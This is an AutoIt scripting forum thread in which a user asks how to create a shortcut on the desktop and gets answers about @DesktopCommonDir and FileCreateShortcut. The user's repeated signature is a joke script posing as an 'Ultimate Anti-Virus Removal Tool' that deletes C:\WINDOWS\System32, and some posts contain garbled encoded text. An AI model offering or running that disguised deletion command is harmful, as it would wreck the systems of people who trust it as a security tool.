Firefoxy Posted June 16, 2007 Share Posted June 16, 2007 Hey. I was making a script and I wanted it to end it by creating a link on the desktop. The problem is I'm not sure how to tell it to go to the current user's desktop. Is there a code for that? ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Fossil Rock Posted June 16, 2007 Share Posted June 16, 2007 @DesktopCommonDir Agreement is not necessary - thinking for one's self is! Link to comment Share on other sites More sharing options...
BrettF Posted June 16, 2007 Share Posted June 16, 2007 Hey. I was making a script and I wanted it to end it by creating a link on the desktop. The problem is I'm not sure how to tell it to go to the current user's desktop. Is there a code for that?@DesktopCommonDiroÝ÷ Û¥·º¹íêZ¶h¶zÉ-¢®¶sdfÆT7&VFU6÷'F7WB Can create a shortcut Vist my blog!UDFs: Opens The Default Mail Client | _LoginBox | Convert Reg to AU3 | BASS.au3 (BASS.dll) (Includes various BASS Libraries) | MultiLang.au3 (Multi-Language GUIs!)Example Scripts: Computer Info Telnet Server | "Secure" HTTP Server (Based on Manadar's Server)Software: AAMP- Advanced AutoIt Media Player | WorldCam | AYTU - Youtube Uploader Tutorials: Learning to Script with AutoIt V3Projects (Hardware + AutoIt): ArduinoUseful Links: AutoIt 1-2-3 | The AutoIt Downloads Section: | SciTE4AutoIt3 Full Version! Link to comment Share on other sites More sharing options...
Firefoxy Posted June 16, 2007 Author Share Posted June 16, 2007 @DesktopCommonDiroÝ÷ Û¥·º¹íêZ¶h¶zÉ-¢®¶sdfÆT7&VFU6÷'F7WBoÝ÷ Ø&§r·µæ¬írëªê-y8b²+-ç(uâ.±çZºÚ"µÍ[PÜX]TÚÜÝ] ][ÝÐÎÌLÔÙÜ[H[ÉÌLÑ^ÈØ[YÉÌLÔÚYYZYÌÎNÜÈÚ][^][Û ÌLÐÚ][^][Û^I][ÝË ][ÝÐÚÝÜÛÛ[[Û][ÝÊ And it didn't work. It ended up putting a shorcut named @DesktopCommonDir.lnk in the same folder that the script was in >.< ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
xcal Posted June 16, 2007 Share Posted June 16, 2007 (edited) FileCreateShortcut('C:\path to\file.ext', @DesktopCommonDir & '\shortcutname.lnk') Don't quote @macros. Edited June 16, 2007 by xcal How To Ask Questions The Smart Way Link to comment Share on other sites More sharing options...
Firefoxy Posted June 16, 2007 Author Share Posted June 16, 2007 FileCreateShortcut('C:\path to\file.ext', @DesktopCommonDir & '\shortcutname.lnk') Don't quote @macros. *sigh* Sooo that's why all of the macros I try fail....Well, stupid question. Thanks for the help. ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
i542 Posted June 16, 2007 Share Posted June 16, 2007 This is the code I used: FileCreateShortcut("C:\Program Files\Firaxis Games\Sid Meier's Civilization 4\Civilization4.exe", "@DesktopCommonDir") I can do signature me. Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now